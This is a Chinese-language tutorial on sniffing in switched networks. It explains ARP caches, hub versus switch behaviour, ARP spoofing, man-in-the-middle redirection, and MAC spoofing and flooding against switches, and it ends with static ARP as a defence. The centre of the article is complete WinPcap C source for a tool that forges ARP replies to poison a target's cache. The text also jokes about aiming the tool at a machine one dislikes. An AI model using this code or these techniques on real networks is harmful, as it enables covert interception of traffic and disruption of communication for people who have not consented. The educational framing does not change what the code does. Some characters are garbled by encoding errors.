交換網(wǎng)絡(luò)中的嗅探與ARP欺騙_ARP原理

ARP緩存表

假設(shè)這樣一個網(wǎng)絡(luò)：

             ——————————                     HUB                      ——————————                                                                                                             HostA   HostB   HostC  

其中

A的地址為：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址為：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址為：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假設(shè)B是屬于一個嗅探愛好者的， 比如A機(jī)器的ARP緩存：

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   

這是192.168.10.1機(jī)器上的ARP緩存表， 假設(shè)， A進(jìn)行一次ping 192.168.10.3操作， PING主機(jī)C， 會查詢本地的

ARP緩存表， 找到C的IP地址的MAC地址， 那么就會進(jìn)行數(shù)據(jù)傳輸， 目的地就是C 的MAC地址。 如果A中沒有C的ARP記

錄， 那么A首先要廣播一次ARP請求， 當(dāng)C接收到A 的請求后就發(fā)送一個應(yīng)答， 應(yīng)答中包含有C的MAC地址， 然后A接

收到C的應(yīng)答， 就會更新本地的ARP緩存。 接著使用這個MAC地址發(fā)送數(shù)據(jù)（由網(wǎng)卡附加MAC地址）。

因此， 本地高速緩存的這個ARP表是本地網(wǎng)絡(luò)流通的基礎(chǔ)， 而且這個緩存是動態(tài)的。

集線器網(wǎng)絡(luò)(Hub-Based)

很多網(wǎng)絡(luò)都是用Hub進(jìn)行連接的。 數(shù)據(jù)包經(jīng)過Hub傳輸?shù)狡渌��?jì)算機(jī)的時候， Hub只是簡單地把這個數(shù)據(jù)包廣播

到Hub的所有端口上。

這就是上面舉例中的一種網(wǎng)絡(luò)結(jié)構(gòu)。

現(xiàn)在A需要發(fā)送TCP數(shù)據(jù)包給C。 首先， A需要檢查本地的ARP 緩存表， 查看是否有IP為192.168.10.3即C的ARP記

錄， 如果沒有那么A將要廣播一個ARP請求， 當(dāng)C接收到這個請求后， 就作出應(yīng)答， 然后A更新自己的ARP緩存表。 并

且獲得與C的IP相對應(yīng)的MAC地址。 這時就傳輸這個TCP數(shù)據(jù)包， Ethernet幀中就包含了C的MAC地址。 當(dāng)數(shù)據(jù)包傳輸

到HUB的時候， HUB直接把整個數(shù)據(jù)包廣播到所有的端口， 然后C就能夠接收到A發(fā)送的數(shù)據(jù)包。

正因?yàn)镠UB把數(shù)據(jù)廣播到所有的端口， 所以計(jì)算機(jī)B也能夠收到A發(fā)送給C的數(shù)據(jù)包。 這正是達(dá)到了B嗅探的目的。

因此， Hub-Based的網(wǎng)絡(luò)基本沒有安全可言， 嗅探在這樣的網(wǎng)絡(luò)中非常容易。

交換網(wǎng)絡(luò)（Switched Lan）

交換機(jī)用來代替HUB， 正是為了能夠解決HUB的幾個安全問題， 其中就是能夠來解決嗅探問題。 Switch不是把數(shù)

據(jù)包進(jìn)行端口廣播， 它將通過自己的ARP緩存來決定數(shù)據(jù)包傳輸?shù)侥莻�端口上。 因此， 在交換網(wǎng)絡(luò)上， 如果把上面

例子中的HUB換為Switch， B就不會接收到A發(fā)送給C的數(shù)據(jù)包， 即便設(shè)置網(wǎng)卡為混雜模式， 也不能進(jìn)行嗅探。

ARP欺騙（ ARP spoofing）

ARP協(xié)議并不只在發(fā)送了ARP請求才接收ARP應(yīng)答。 當(dāng)計(jì)算機(jī)接收到ARP應(yīng)答數(shù)據(jù)包的時候， 就會對本地的ARP緩存

進(jìn)行更新， 將應(yīng)答中的IP和MAC地址存儲在ARP緩存中。 因此， 在上面的假設(shè)網(wǎng)絡(luò)中， B向A發(fā)送一個自己偽造的ARP應(yīng)

答， 而這個應(yīng)答中的數(shù)據(jù)為發(fā)送方IP地址是192.168.10.3（C的IP地址）， MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地

址本來應(yīng)該是CC-CC-CC-CC-CC-CC， 這里被偽造了）。 當(dāng)A接收到B偽造的ARP應(yīng)答， 就會更新本地的ARP緩存（A可不

知道被偽造了）。

現(xiàn)在A機(jī)器的ARP緩存更新了：

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   

這可不是小事。 局域網(wǎng)的網(wǎng)絡(luò)流通可不是根據(jù)IP地址進(jìn)行， 而是按照MAC地址進(jìn)行傳輸。 現(xiàn)在192.168.10.3的

MAC地址在A上被改變成一個本不存在的MAC地址。 現(xiàn)在A開始Ping 192.168.10.3， 網(wǎng)卡遞交的MAC地址是

DD-DD-DD-DD-DD-DD， 結(jié)果是什么呢？網(wǎng)絡(luò)不通， A根本不能Ping通C�。�

這就是一個簡單的ARP欺騙。

我們來實(shí)現(xiàn)這樣的ARP欺騙。 這里需要使用一個WinPcap提供的API和驅(qū)動。 （http://winpcap.polito.it/）

winpcap是一個偉大而且開放的項(xiàng)目。 Windows環(huán)境下的nmap、snort、windump都是使用的winpcap。

     ///////////////////////////////////////////////////////////                ARP Sender////           Creator:    Refdom//           Email:      refdom@263.net//           Home Page:  www.opengram.com////           2002/4/7/////////////////////////////////////////////////////////#include "stdafx.h"#include "Mac.h"//GetMacAddr()， 我寫的把字符串轉(zhuǎn)換為MAC地址的函數(shù)， 就不列在這里了#include #include #define EPT_IP0x0800/* type: IP*/#define EPT_ARP0x0806/* type: ARP */#define EPT_RARP0x8035/* type: RARP */#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */#defineARP_REQUEST0x0001/* ARP request */#defineARP_REPLY0x0002/* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned chareh_dst[6];/* destination ethernet addrress */unsigned chareh_src[6];/* source ethernet addresss */unsigned shorteh_type;/* ethernet pachet type*/}EHHDR, *PEHHDR;typedef struct arphdr{unsigned shortarp_hrd;/* format of hardware address */unsigned shortarp_pro;/* format of protocol address */unsigned chararp_hln;/* length of hardware address */unsigned chararp_pln;/* length of protocol address */unsigned shortarp_op;/* ARP/RARP operation */unsigned chararp_sha[6];/* sender hardware address */unsigned longarp_spa;/* sender protocol address */unsigned chararp_tha[6];/* target hardware address */unsigned longarp_tpa;/* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDRehhdr;ARPHDRarphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024];char szPacketBuf[600];char MacAddr[6];LPADAPTERlpAdapter;LPPACKETlpPacket;WCHARAdapterName[2048];WCHAR*temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != '\0')  (*(temp-1) != '\0')){if (*temp == '\0') {memcpy(AdapterList[i],temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);        //取第一個網(wǎng)卡（假設(shè)啦）if (!lpAdapter    (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。  （A的地址）ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//偽造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目標(biāo)A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目標(biāo)A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){  printf("warning: Unable to send more than one packet in            a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;}   

于是A接收到一個被偽造的ARP應(yīng)答。 A被欺騙了�。√热粼诰钟蚓W(wǎng)中看某某機(jī)器不順眼， ……

以太網(wǎng)中的嗅探太有作用了， 但是交換網(wǎng)絡(luò)對嗅探進(jìn)行了限制， 讓嗅探深入程度大打折扣。 不過， 很容易就能

夠發(fā)現(xiàn)， 主機(jī)、Switch（動態(tài)更新地址表類型， 下同）中的緩存表依然是（主要是）動態(tài)的。 要在一個交換網(wǎng)絡(luò)中

進(jìn)行有效的嗅探工作（地下黨？）， 需要采用對付各種緩存表的辦法， 連騙帶哄， 甚至亂踹， 在上面的ARP欺騙基礎(chǔ)

中我們就能夠做到。

對目標(biāo)進(jìn)行ARP欺騙

就象上面程序中實(shí)現(xiàn)的一樣， 對目標(biāo)A進(jìn)行欺騙， A去Ping主機(jī)C卻發(fā)送到了DD-DD-DD-DD-DD-DD這個地址上。 如

果進(jìn)行欺騙的時候， 把C的MAC地址騙為BB-BB-BB-BB-BB-BB， 于是A發(fā)送到C上的數(shù)據(jù)包都變成發(fā)送給B的了。 這不正

好是B能夠接收到A發(fā)送的數(shù)據(jù)包了么， 嗅探成功。

A對這個變化一點(diǎn)都沒有意識到， 但是接下來的事情就讓A產(chǎn)生了懷疑。 因?yàn)锳和C連接不上了��！B對接收到A發(fā)送

給C的數(shù)據(jù)包可沒有轉(zhuǎn)交給C。

做“man in the middle”,進(jìn)行ARP重定向。 打開B的IP轉(zhuǎn)發(fā)功能， A發(fā)送過來的數(shù)據(jù)包， 轉(zhuǎn)發(fā)給C， 好比一個路由

器一樣。 不過， 假如B發(fā)送ICMP重定向的話就中斷了整個計(jì)劃。

直接進(jìn)行整個包的修改轉(zhuǎn)發(fā)， 捕獲到A發(fā)送給的數(shù)據(jù)包， 全部進(jìn)行修改后再轉(zhuǎn)發(fā)給C， 而C接收到的數(shù)據(jù)包完全認(rèn)為

是從A發(fā)送來的。 不過， C發(fā)送的數(shù)據(jù)包又直接傳遞給A， 倘若再次進(jìn)行對C的ARP欺騙。 現(xiàn)在B就完全成為A與C的中間橋

梁了。

對Switch的MAC欺騙

Switch上同樣維護(hù)著一個動態(tài)的MAC緩存， 它一般是這樣， 首先， 交換機(jī)內(nèi)部有一個對應(yīng)的列表， 交換機(jī)的端口對

應(yīng)MAC地址表Port n <-> Mac記錄著每一個端口下面存在那些MAC地址， 這個表開始是空的， 交換機(jī)從來往數(shù)據(jù)幀中學(xué)

習(xí)。 舉例來說， 當(dāng)Port 1口所接的計(jì)算機(jī)發(fā)出了一個數(shù)據(jù)幀， 這幀數(shù)據(jù)從Port 1進(jìn)入交換機(jī)， 交換機(jī)就取這個數(shù)據(jù)幀

的原MAC地址AAAA， 然后在地址表中記錄：Port 1 <-> AAAA, 以后， 所有發(fā)向MAC地址為AAAA的數(shù)據(jù)幀， 就全從Port 1

口輸出， 而不會從其它的口輸出。

跟前面對目標(biāo)進(jìn)行欺騙相類似。 如果把Switch上的MAC-PORT表修改了， 那么對應(yīng)的MAC和PORT就一樣跟著改變， 本來

不應(yīng)該發(fā)送到嗅探器的數(shù)據(jù)結(jié)果發(fā)送過來了， 這樣也達(dá)到了嗅探的目的。 修改本地（B）發(fā)送的數(shù)據(jù)包MAC地址為原來A的

MAC地址， 當(dāng)經(jīng)過交換機(jī)的時候， 交換機(jī)發(fā)現(xiàn)端口B對應(yīng)的地址是機(jī)器A的MAC地址， 于是就將會把A的MAC地址同端口B相對

應(yīng)， 從而把發(fā)送給A的數(shù)據(jù)從端口B傳輸了， 本來這些應(yīng)該是傳送到端口A的。 因此， 從機(jī)器B就能夠獲得發(fā)送給A的數(shù)據(jù)。

但是， 這里有一個問題， A將接收不到數(shù)據(jù)了。 嗅探不目的并不是要去破壞正常的數(shù)據(jù)通訊。 同時， 從剛才的欺騙中，

讓交換機(jī)中一個MAC地址對應(yīng)了多個端口， 這種對于交換機(jī)處理還不清楚。 還請多指教。

對Switch進(jìn)行Flood

就象上面介紹Switch的MAC和Port對應(yīng)關(guān)系形成的原理， 因?yàn)镸AC-PORT緩存表是動態(tài)更新的， 那么讓整個Switch的端

口表都改變， 對Switch進(jìn)行MAC地址欺騙的Flood， 不斷發(fā)送大量假M(fèi)AC地址的數(shù)據(jù)包， Switch就更新MAC-PORT緩存， 如果

能通過這樣的辦法把以前正常的MAC和Port對應(yīng)的關(guān)系破壞了， 那么Switch就會進(jìn)行泛洪發(fā)送給每一個端口， 讓Switch基

本變成一個HUB， 向所有的端口發(fā)送數(shù)據(jù)包， 要嗅探的目的一樣能夠達(dá)到。

存在的問題， Switch對這種極限情況的處理， 因?yàn)閷儆诓徽�常情況， 可能會引起包丟失情況。 而且現(xiàn)在對這種極限情

況的Switch狀態(tài)還很不了解。 如果對網(wǎng)絡(luò)通訊造成了大的破壞， 這不屬于正常的嗅探（嗅探也會引起一些丟失）。

對Switch進(jìn)行各種手段的操作， 需要小心， 如果打開了端口保護(hù)， 那么可能會讓交換機(jī)關(guān)閉所有用戶。 因此， 對交換

機(jī)這樣的設(shè)備進(jìn)行欺騙或者其他操作， 還不如對一些上級設(shè)備進(jìn)行欺騙， 比如目標(biāo)主機(jī)或者路由器。

至于上面關(guān)于嗅探的手段都是基于這個動態(tài)表進(jìn)行的。 因此， 使用靜態(tài)的ARP就能夠進(jìn)行防范了。 對于WIN， 使用

arp -s 來進(jìn)行靜態(tài)ARP的設(shè)置。

感謝winpcap這個開放項(xiàng)目， 也感謝Dancefire提供的大量幫助和指正。 我在網(wǎng)絡(luò)設(shè)備上的了解還很不夠， 還請多指正。